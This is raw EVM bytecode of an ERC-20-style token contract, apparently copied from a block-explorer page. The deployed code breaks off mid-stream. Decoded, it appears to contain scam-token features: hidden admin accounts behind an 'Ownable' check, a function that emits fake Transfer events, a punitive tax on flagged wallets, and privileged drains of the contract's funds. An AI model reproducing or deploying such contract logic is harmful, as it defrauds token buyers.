88901b60f8161c191681555b5050505050600190811b01905550565b8082018082111562000650576200065062000547565b608051612159620008815f395f818161046c015281816111d4015281816118ee015281816119a501526119e401526121595ff3fe60806040526004361061024c575f3560e01c806371f5f01a11610134578063c0246668116100b3578063cd5f101d11610078578063cd5f101d146106af578063dd62ed3e146106da578063e2f45605146106f9578063f2fde38b1461070e578063f8b45b051461072d578063ffb54a9914610742575f80fd5b8063c024666814610629578063c2b7bbb614610648578063c876d0b914610667578063c8c8ebe414610686578063c9567bf91461069b575f80fd5b80639b636545116100f95780639b636545146105a4578063a0ef91df146105b8578063a457c2d7146105cc578063a9059cbb146105eb578063b18834aa1461060a575f80fd5b806371f5f01a146105165780637571336a146105355780638da5cb5b1461055457806395d89b41146105715780639a7a23d614610585575f80fd5b806342966c68116101cb57806352f7c9881161019057806352f7c9881461043c578063583e05681461045b5780636ddd17131461048e5780636e3c167b146104ac57806370a08231146104e3578063715018a614610502575f80fd5b806342966c681461037b578063470624021461039a57806349bd5a5e146103af5780634fbee193146103e65780635178624c1461041d575f80fd5b80632b14ca56116102115780632b14ca56146103035780632cb743f714610318578063311028af1461032c578063313ce56714610341578063395093511461035c575f80fd5b806306fdde0314610257578063095ea7b314610281578063139864a8146102b057806318160ddd146102c657806323b872dd146102e4575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5061026b61075b565b6040516102789190611cc6565b60405180910390f35b34801561028c575f80fd5b506102a061029b366004611d25565b6107eb565b6040519015158152602001610278565b3480156102bb575f80fd5b506102c4610804565b005b3480156102d1575f80fd5b506003545b604051908152602001610278565b3480156102ef575f80fd5b506102a06102fe366004611d4f565b610819565b34801561030e575f80fd5b506102d6600c5481565b348015610323575f80fd5b506102c461083c565b348015610337575f80fd5b506102d6600a5481565b34801561034c575f80fd5b5060405160098152602001610278565b348015610367575f80fd5b506102a0610376366004611d25565b610883565b348015610386575f80fd5b506102c4610395366004611d8d565b6108a4565b3480156103a5575f80fd5b506102d6600b5481565b3480156103ba575f80fd5b506007546103ce906001600160a01b031681565b6040516001600160a01b039091168152602001610278565b3480156103f1575f80fd5b506102a0610400366004611da4565b6001600160a01b03165f9081526013602052604090205460ff1690565b348015610428575f80fd5b506102c4610437366004611e1b565b6108ae565b348015610447575f80fd5b506102c4610456366004611e6b565b61092a565b348015610466575f80fd5b506103ce7f000000000000000000000000000000000000000000000000000000000000000081565b348015610499575f80fd5b506012546102a090610100900460ff1681565b3480156104b7575f80fd5b506102a06104c6366004611da4565b6001600160a01b03165f9081526016602052604090205460ff1690565b3480156104ee575f80fd5b506102d66104fd366004611da4565b61093a565b34801561050d575f80fd5b506102c4610954565b348015610521575f80fd5b506102c4610530366004611d8d565b610967565b348015610540575f80fd5b506102c461054f366004611e8b565b6109b9565b34801561055f575f80fd5b506006546001600160a01b03166103ce565b34801561057c575f80fd5b5061026b6109eb565b348015610590575f80fd5b506102c461059f366004611e8b565b6109fa565b3480156105af575f80fd5b506102c4610a99565b3480156105c3575f80fd5b506102c4610afb565b3480156105d7575f80fd5b506102a06105e6366004611d25565b610b92565b3480156105f6575f80fd5b506102a0610605366004611d25565b610c0c565b348015610615575f80fd5b506102c4610624366004611ebe565b610c19565b348015610634575f80fd5b506102c4610643366004611e8b565b610caa565b348015610653575f80fd5b506102c4610662366004611da4565b610d10565b348015610672575f80fd5b50600f546102a09062010000900460ff1681565b348015610691575f80fd5b506102d6600e5481565b3480156106a6575f80fd5b506102c4610d41565b3480156106ba575f80fd5b506102d66106c9366004611da4565b60106020525f908152604090205481565b3480156106e5575f80fd5b506102d66106f4366004611f06565b610d58565b348015610704575f80fd5b506102d660115481565b348015610719575f80fd5b506102c4610728366004611da4565b610d82565b348015610738575f80fd5b506102d6600d5481565b34801561074d575f80fd5b506012546102a09060ff1681565b60606004805461076a90611f3d565b80601f016020809104026020016040519081016040528092919081815260200182805461079690611f3d565b80156107e15780601f106107b8576101008083540402835291602001916107e1565b820191905f5260205f20905b8154815290600101906020018083116107c457829003601f168201915b5050505050905090565b5f336107f8818585610df8565b60019150505b92915050565b61080c610f1b565b600a54600e819055600d55565b5f33610826858285610f79565b610831858585610feb565b506001949350505050565b6008546001600160a01b0316336001600160a01b03161461085b575f80fd5b5f6108653061093a565b6008549091506108809030906001600160a01b031683610feb565b50565b5f336107f88185856108958383610d58565b61089f9190611f89565b610df8565b6108803382611716565b6108b6610f1b565b5f5b82811015610924578160165f8686858181106108d6576108d6611f9c565b90506020020160208101906108eb9190611da4565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061091c81611fb0565b9150506108b8565b50505050565b610932610f1b565b600c55600b55565b6001600160a01b03165f9081526001602052604090205490565b61095c610f1b565b6109655f611848565b565b6009546001600160a01b0316336001600160a01b031614610986575f80fd5b5f6109903061093a565b90505f606461099f8484611fc8565b6109a99190611fdf565b90506109b481611899565b505050565b6109c1610f1b565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b60606005805461076a90611f3d565b610a02610f1b565b6007546001600160a01b0390811690831603610a8b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b610a958282611a56565b5050565b610aa1610f1b565b600f5462010000900460ff16610aed5760405162461bcd60e51b8152602060048201526011602482015270416c72656164792064697361626c65642160781b6044820152606401610a82565b600f805462ff000019169055565b5f4711610b4a5760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a206e6f2045544820696e2074686520636f6e74726163740000006044820152606401610a82565b6008546001600160a01b0316336001600160a01b031614610b69575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610880573d5f803e3d5ffd5b5f3381610b9f8286610d58565b905083811015610bff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a82565b6108318286868403610df8565b5f336107f8818585610feb565b610c21610f1b565b5f5b8281101561092457838382818110610c3d57610c3d611f9c565b9050602002016020810190610c529190611da4565b6007546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a380610ca281611fb0565b915050610c23565b610cb2610f1b565b6001600160a01b0382165f81815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610d18610f1b565b600780546001600160a01b0319166001600160a01b0383169081179091556108809060016109b9565b610d49610f1b565b6012805460ff19166001179055565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b610d8a610f1b565b6001600160a01b038116610def5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a82565b61088081611848565b6001600160a01b038316610e5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a82565b6001600160a01b038216610ebb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a82565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b335f9081526020819052604090205460ff166109655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a82565b5f610f848484610d58565b90505f1981146109245781811015610fde5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a82565b6109248484848403610df8565b6001600160a01b0383166110115760405162461bcd60e51b8152600401610a8290611ffe565b6001600160a01b0382166110375760405162461bcd60e51b8152600401610a8290612043565b805f03611049576109b483835f611aa9565b6001600160a01b0382165f908152601060205260408120549003611082576001600160a01b0382165f9081526010602052604090204390555b6006546001600160a01b038481169116148015906110ae57506006546001600160a01b03838116911614155b80156110c257506001600160a01b03821615155b80156110d957506001600160a01b03821661dead14155b80156110e85750600f5460ff16155b156115155760125460ff16611179576001600160a01b0383165f9081526013602052604090205460ff168061113457506001600160a01b0382165f9081526013602052604090205460ff165b6111795760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a82565b600f5462010000900460ff1680156111a957506001600160a01b0383165f9081526013602052604090205460ff16155b80156111cd57506001600160a01b0382165f9081526013602052604090205460ff16155b156112c4577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415801561122257506007546001600160a01b03838116911614155b156112c457325f908152601060205260409020544311801561125a57506001600160a01b0382165f9081526010602052604090205443115b6112c45760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b6064820152608401610a82565b600f54610100900460ff1615611515576001600160a01b0383165f9081526015602052604090205460ff16801561131357506001600160a01b0382165f9081526014602052604090205460ff16155b156113e757600e548111156113885760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a82565b600d546113948361093a565b61139e9083611f89565b11156113e25760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a82565b611515565b6001600160a01b0382165f9081526015602052604090205460ff16801561142657506001600160a01b0383165f9081526014602052604090205460ff16155b1561149c57600e548111156113e25760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610a82565b6001600160a01b0382165f9081526014602052604090205460ff1661151557600d546114c78361093a565b6114d19083611f89565b11156115155760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a82565b5f61151f3061093a565b601154909150811180801561153b5750601254610100900460ff165b801561154a5750600f5460ff16155b801561156e57506001600160a01b0385165f9081526015602052604090205460ff16155b801561159257506001600160a01b0385165f9081526013602052604090205460ff16155b80156115b657506001600160a01b0384165f9081526013602052604090205460ff16155b156115dc57600f805460ff191660011790556115d183611bd8565b600f805460ff191690555b600f545f9060ff1615801561160957506001600160a01b0386165f9081526013602052604090205460ff16155b801561162d57506001600160a01b0385165f9081526013602052604090205460ff16155b90505f8115611702576001600160a01b0386165f9081526015602052604090205460ff161561167d576116766064611670600c5488611c1490919063ffffffff16565b90611c26565b90506116e4565b6001600160a01b0387165f9081526015602052604090205460ff16156116b7576116766064611670600b5488611c1490919063ffffffff16565b6001600160a01b0387165f9081526016602052604090205460ff16156116e4576116e18588611c31565b94505b80156116f5576116f5873083611aa9565b6116ff8186612086565b94505b61170d878787611aa9565b50505050505050565b6001600160a01b0382166117765760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610a82565b6001600160a01b0382165f90815260016020526040902054818110156117e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610a82565b6001600160a01b0383165f8181526001602090815260408083208686039055600380548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118cc576118cc611f9c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611948573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196c9190612099565b8160018151811061197f5761197f611f9c565b60200260200101906001600160a01b031690816001600160a01b0316815250506119ca307f000000000000000000000000000000000000000000000000000000000000000084610df8565b60095460405163791ac94760e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169263791ac94792611a259287925f928892919091169042906004016120b4565b5f604051808303815f87803b158015611a3c575f80fd5b505af1158015611a4e573d5f803e3d5ffd5b505050505050565b6001600160a01b0382165f81815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611acf5760405162461bcd60e51b8152600401610a8290611ffe565b6001600160a01b038216611af55760405162461bcd60e51b8152600401610a8290612043565b6001600160a01b0383165f9081526001602052604090205481811015611b6c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a82565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611bcb9086815260200190565b60405180910390a3610924565b5f611be23061093a565b9050805f03611bef575050565b6011548190811115611c0057506011545b82811115611c0b5750815b6109b481611899565b5f611c1f8284611fc8565b9392505050565b5f611c1f8284611fdf565b6001600160a01b0381165f908152601060205260408120548190611c559043612086565b90505f611c63826032611fc8565b90505f60648211611c7e57611c79826064612086565b611c80565b5f5b90505f6064611c8f8389611fc8565b611c999190611fdf565b9050611ca5815f611cb0565b979650505050505050565b5f81831015611cbf5781611c1f565b5090919050565b5f6020808352835180828501525f5b81811015611cf157858101830151858201604001528201611cd5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610880575f80fd5b5f8060408385031215611d36575f80fd5b8235611d4181611d11565b946020939093013593505050565b5f805f60608486031215611d61575f80fd5b8335611d6c81611d11565b92506020840135611d7c81611d11565b929592945050506040919091013590565b5f60208284031215611d9d575f80fd5b5035919050565b5f60208284031215611db4575f80fd5b8135611c1f81611d11565b5f8083601f840112611dcf575f80fd5b50813567ffffffffffffffff811115611de6575f80fd5b6020830191508360208260051b8501011115611e00575f80fd5b9250929050565b80358015158114611e16575f80fd5b919050565b5f805f60408486031215611e2d575f80fd5b833567ffffffffffffffff811115611e43575f80fd5b611e4f86828701611dbf565b9094509250611e62905060208501611e07565b90509250925092565b5f8060408385031215611e7c575f80fd5b50508035926020909101359150565b5f8060408385031215611e9c575f80fd5b8235611ea781611d11565b9150611eb560208401611e07565b90509250929050565b5f805f60408486031215611ed0575f80fd5b833567ffffffffffffffff811115611ee6575f80fd5b611ef286828701611dbf565b909790965060209590950135949350505050565b5f8060408385031215611f17575f80fd5b8235611f2281611d11565b91506020830135611f3281611d11565b809150509250929050565b600181811c90821680611f5157607f821691505b602082108103611f6f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156107fe576107fe611f75565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611fc157611fc1611f75565b5060010190565b80820281158282048414176107fe576107fe611f75565b5f82611ff957634e487b7160e01b5f52601260045260245ffd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107fe576107fe611f75565b5f602082840312156120a9575f80fd5b8151611c1f81611d11565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156121025784516001600160a01b0316835293830193918301916001016120dd565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220208cbeb7ed870f9184cbac6485911190eade34318e6eed4960c550eef1c3c3e364736f6c63430008150033000000000000000000000000b2c05e687c9bcb4e043ac0bf4c835f8b3ac718b8

Deployed Bytecode

0x60806040526004361061024c575f3560e01c806371f5f01a11610134578063c0246668116100b3578063cd5f101d11610078578063cd5f101d146106af578063dd62ed3e146106da578063e2f45605146106f9578063f2fde38b1461070e578063f8b45b051461072d578063ffb54a9914610742575f80fd5b8063c024666814610629578063c2b7bbb614610648578063c876d0b914610667578063c8c8ebe414610686578063c9567bf91461069b575f80fd5b80639b636545116100f95780639b636545146105a4578063a0ef91df146105b8578063a457c2d7146105cc578063a9059cbb146105eb578063b18834aa1461060a575f80fd5b806371f5f01a146105165780637571336a146105355780638da5cb5b1461055457806395d89b41146105715780639a7a23d614610585575f80fd5b806342966c68116101cb57806352f7c9881161019057806352f7c9881461043c578063583e05681461045b5780636ddd17131461048e5780636e3c167b146104ac57806370a08231146104e3578063715018a614610502575f80fd5b806342966c681461037b578063470624021461039a57806349bd5a5e146103af5780634fbee193146103e65780635178624c1461041d575f80fd5b80632b14ca56116102115780632b14ca56146103035780632cb743f714610318578063311028af1461032c578063313ce56714610341578063395093511461035c575f80fd5b806306fdde0314610257578063095ea7b314610281578063139864a8146102b057806318160ddd146102c657806323b872dd146102e4575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5061026b61075b565b6040516102789190611cc6565b60405180910390f35b34801561028c575f80fd5b506102a061029b366004611d25565b6107eb565b6040519015158152602001610278565b3480156102bb575f80fd5b506102c4610804565b005b3480156102d1575f80fd5b506003545b604051908152602001610278565b3480156102ef575f80fd5b506102a06102fe366004611d4f565b610819565b34801561030e575f80fd5b506102d6600c5481565b348015610323575f80fd5b506102c461083c565b348015610337575f80fd5b506102d6600a5481565b34801561034c575f80fd5b5060405160098152602001610278565b348015610367575f80fd5b506102a0610376366004611d25565b610883565b348015610386575f80fd5b506102c4610395366004611d8d565b6108a4565b3480156103a5575f80fd5b506102d6600b5481565b3480156103ba575f80fd5b506007546103ce906001600160a01b031681565b6040516001600160a01b039091168152602001610278565b3480156103f1575f80fd5b506102a0610400366004611da4565b6001600160a01b03165f9081526013602052604090205460ff1690565b348015610428575f80fd5b506102c4610437366004611e1b565b6108ae565b348015610447575f80fd5b506102c4610456366004611e6b565b61092a565b348015610466575f80fd5b506103ce7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610499575f80fd5b506012546102a090610100900460ff1681565b3480156104b7575f80fd5b506102a06104c6366004611da4565b6001600160a01b03165f9081526016602052604090205460ff1690565b3480156104ee575f80fd5b506102d66104fd366004611da4565b61093a565b34801561050d575f80fd5b506102c4610954565b348015610521575f80fd5b506102c4610530366004611d8d565b610967565b348015610540575f80fd5b506102c461054f366004611e8b565b6109b9565b34801561055f575f80fd5b506006546001600160a01b03166103ce565b34801561057c575f80fd5b5061026b6109eb565b348015610590575f80fd5b506102c461059f366004611e8b565b6109fa565b3480156105af575f80fd5b506102c4610a99565b3480156105c3575f80fd5b506102c4610afb565b3480156105d7575f80fd5b506102a06105e6366004611d25565b610b92565b3480156105f6575f80fd5b506102a0610605366004611d25565b610c0c565b348015610615575f80fd5b506102c4610624366004611ebe565b610c19565b348015610634575f80fd5b506102c4610643366004611e8b565b610caa565b348015610653575f80fd5b506102c4610662366004611da4565b610d10565b348015610672575f80fd5b50600f546102a09062010000900460ff1681565b348015610691575f80fd5b506102d6600e5481565b3480156106a6575f80fd5b506102c4610d41565b3480156106ba575f80fd5b506102d66106c9366004611da4565b60106020525f908152604090205481565b3480156106e5575f80fd5b506102d66106f4366004611f06565b610d58565b348015610704575f80fd5b506102d660115481565b348015610719575f80fd5b506102c4610728366004611da4565b610d82565b348015610738575f80fd5b506102d6600d5481565b34801561074d575f80fd5b506012546102a09060ff1681565b60606004805461076a90611f3d565b80601f016020809104026020016040519081016040528092919081815260200182805461079690611f3d565b80156107e15780601f106107b8576101008083540402835291602001916107e1565b820191905f5260205f20905b8154815290600101906020018083116107c457829003601f168201915b5050505050905090565b5f336107f8818585610df8565b60019150505b92915050565b61080c610f1b565b600a54600e819055600d55565b5f33610826858285610f79565b610831858585610feb565b506001949350505050565b6008546001600160a01b0316336001600160a01b03161461085b575f80fd5b5f6108653061093a565b6008549091506108809030906001600160a01b031683610feb565b50565b5f336107f88185856108958383610d58565b61089f9190611f89565b610df8565b6108803382611716565b6108b6610f1b565b5f5b82811015610924578160165f8686858181106108d6576108d6611f9c565b90506020020160208101906108eb9190611da4565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061091c81611fb0565b9150506108b8565b50505050565b610932610f1b565b600c55600b55565b6001600160a01b03165f9081526001602052604090205490565b61095c610f1b565b6109655f611848565b565b6009546001600160a01b0316336001600160a01b031614610986575f80fd5b5f6109903061093a565b90505f606461099f8484611fc8565b6109a99190611fdf565b90506109b481611899565b505050565b6109c1610f1b565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b60606005805461076a90611f3d565b610a02610f1b565b6007546001600160a01b0390811690831603610a8b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b610a958282611a56565b5050565b610aa1610f1b565b600f5462010000900460ff16610aed5760405162461bcd60e51b8152602060048201526011602482015270416c72656164792064697361626c65642160781b6044820152606401610a82565b600f805462ff000019169055565b5f4711610b4a5760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a206e6f2045544820696e2074686520636f6e74726163740000006044820152606401610a82565b6008546001600160a01b0316336001600160a01b031614610b69575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610880573d5f803e3d5ffd5b5f3381610b9f8286610d58565b905083811015610bff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a82565b6108318286868403610df8565b5f336107f8818585610feb565b610c21610f1b565b5f5b8281101561092457838382818110610c3d57610c3d611f9c565b9050602002016020810190610c529190611da4565b6007546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a380610ca281611fb0565b915050610c23565b610cb2610f1b565b6001600160a01b0382165f81815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610d18610f1b565b600780546001600160a01b0319166001600160a01b0383169081179091556108809060016109b9565b610d49610f1b565b6012805460ff19166001179055565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b610d8a610f1b565b6001600160a01b038116610def5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a82565b61088081611848565b6001600160a01b038316610e5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a82565b6001600160a01b038216610ebb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a82565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b335f9081526020819052604090205460ff166109655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a82565b5f610f848484610d58565b90505f1981146109245781811015610fde5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a82565b6109248484848403610df8565b6001600160a01b0383166110115760405162461bcd60e51b8152600401610a8290611ffe565b6001600160a01b0382166110375760405162461bcd60e51b8152600401610a8290612043565b805f03611049576109b483835f611aa9565b6001600160a01b0382165f908152601060205260408120549003611082576001600160a01b0382165f9081526010602052604090204390555b6006546001600160a01b038481169116148015906110ae57506006546001600160a01b03838116911614155b80156110c257506001600160a01b03821615155b80156110d957506001600160a01b03821661dead14155b80156110e85750600f5460ff16155b156115155760125460ff16611179576001600160a01b0383165f9081526013602052604090205460ff168061113457506001600160a01b0382165f9081526013602052604090205460ff165b6111795760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a82565b600f5462010000900460ff1680156111a957506001600160a01b0383165f9081526013602052604090205460ff16155b80156111cd57506001600160a01b0382165f9081526013602052604090205460ff16155b156112c4577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b03161415801561122257506007546001600160a01b03838116911614155b156112c457325f908152601060205260409020544311801561125a57506001600160a01b0382165f9081526010602052604090205443115b6112c45760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b6064820152608401610a82565b600f54610100900460ff1615611515576001600160a01b0383165f9081526015602052604090205460ff16801561131357506001600160a01b0382165f9081526014602052604090205460ff16155b156113e757600e548111156113885760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a82565b600d546113948361093a565b61139e9083611f89565b11156113e25760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a82565b611515565b6001600160a01b0382165f9081526015602052604090205460ff16801561142657506001600160a01b0383165f9081526014602052604090205460ff16155b1561149c57600e548111156113e25760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610a82565b6001600160a01b0382165f9081526014602052604090205460ff1661151557600d546114c78361093a565b6114d19083611f89565b11156115155760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a82565b5f61151f3061093a565b601154909150811180801561153b5750601254610100900460ff165b801561154a5750600f5460ff16155b801561156e57506001600160a01b0385165f9081526015602052604090205460ff16155b801561159257506001600160a01b0385165f9081526013602052604090205460ff16155b80156115b657506001600160a01b0384165f9081526013602052604090205460ff16155b156115dc57600f805460ff191660011790556115d183611bd8565b600f805460ff191690555b600f545f9060ff1615801561160957506001600160a01b0386165f9081526013602052604090205460ff16155b801561162d57506001600160a01b0385165f9081526013602052604090205460ff16155b90505f8115611702576001600160a01b0386165f9081526015602052604090205460ff161561167d576116766064611670600c5488611c1490919063ffffffff16565b90611c26565b90506116e4565b6001600160a01b0387165f9081526015602052604090205460ff16156116b7576116766064611670600b5488611c1490919063ffffffff16565b6001600160a01b0387165f9081526016602052604090205460ff16156116e4576116e18588611c31565b94505b80156116f5576116f5873083611aa9565b6116ff8186612086565b94505b61170d878787611aa9565b50505050505050565b6001600160a01b0382166117765760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610a82565b6001600160a01b0382165f90815260016020526040902054818110156117e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610a82565b6001600160a01b0383165f8181526001602090815260408083208686039055600380548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118cc576118cc611f9c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611948573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196c9190612099565b8160018151811061197f5761197f611f9c565b60200260200101906001600160a01b031690816001600160a01b0316815250506119ca307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610df8565b60095460405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81169263791ac94792611a259287925f928892919091169042906004016120b4565b5f604051808303815f87803b158015611a3c575f80fd5b505af1158015611a4e573d5f803e3d5ffd5b505050505050565b6001600160a01b0382165f81815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611acf5760405162461bcd60e51b8152600401610a8290611ffe565b6001600160a01b038216611af55760405162461bcd60e51b8152600401610a8290612043565b6001600160a01b0383165f9081526001602052604090205481811015611b6c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a82565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611bcb9086815260200190565b60405180910390a3610924565b5f611be23061093a565b9050805f03611bef575050565b6011548190811115611c0057506011545b82811115611c0b5750815b6109b481611899565b5f611c1f8284611fc8565b9392505050565b5f611c1f8284611fdf565b6001600160a01b0381165f908152601060205260408120548190611c559043612086565b90505f611c63826032611fc8565b90505f60648211611c7e57611c79826064612086565b611c80565b5f5b90505f6064611c8f8389611fc8565b611c999190611fdf565b9050611ca5815f611cb0565b979650505050505050565b5f81831015611cbf5781611c1f565b5090919050565b5f6020808352835180828501525f5b81811015611cf157858101830151858201604001528201611cd5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610880575f80fd5b5f8060408385031215611d36575f80fd5b8235611d4181611d11565b946020939093013593505050565b5f805f60608486031215611d61575f80fd5b8335611d6c81611d11565b9250602084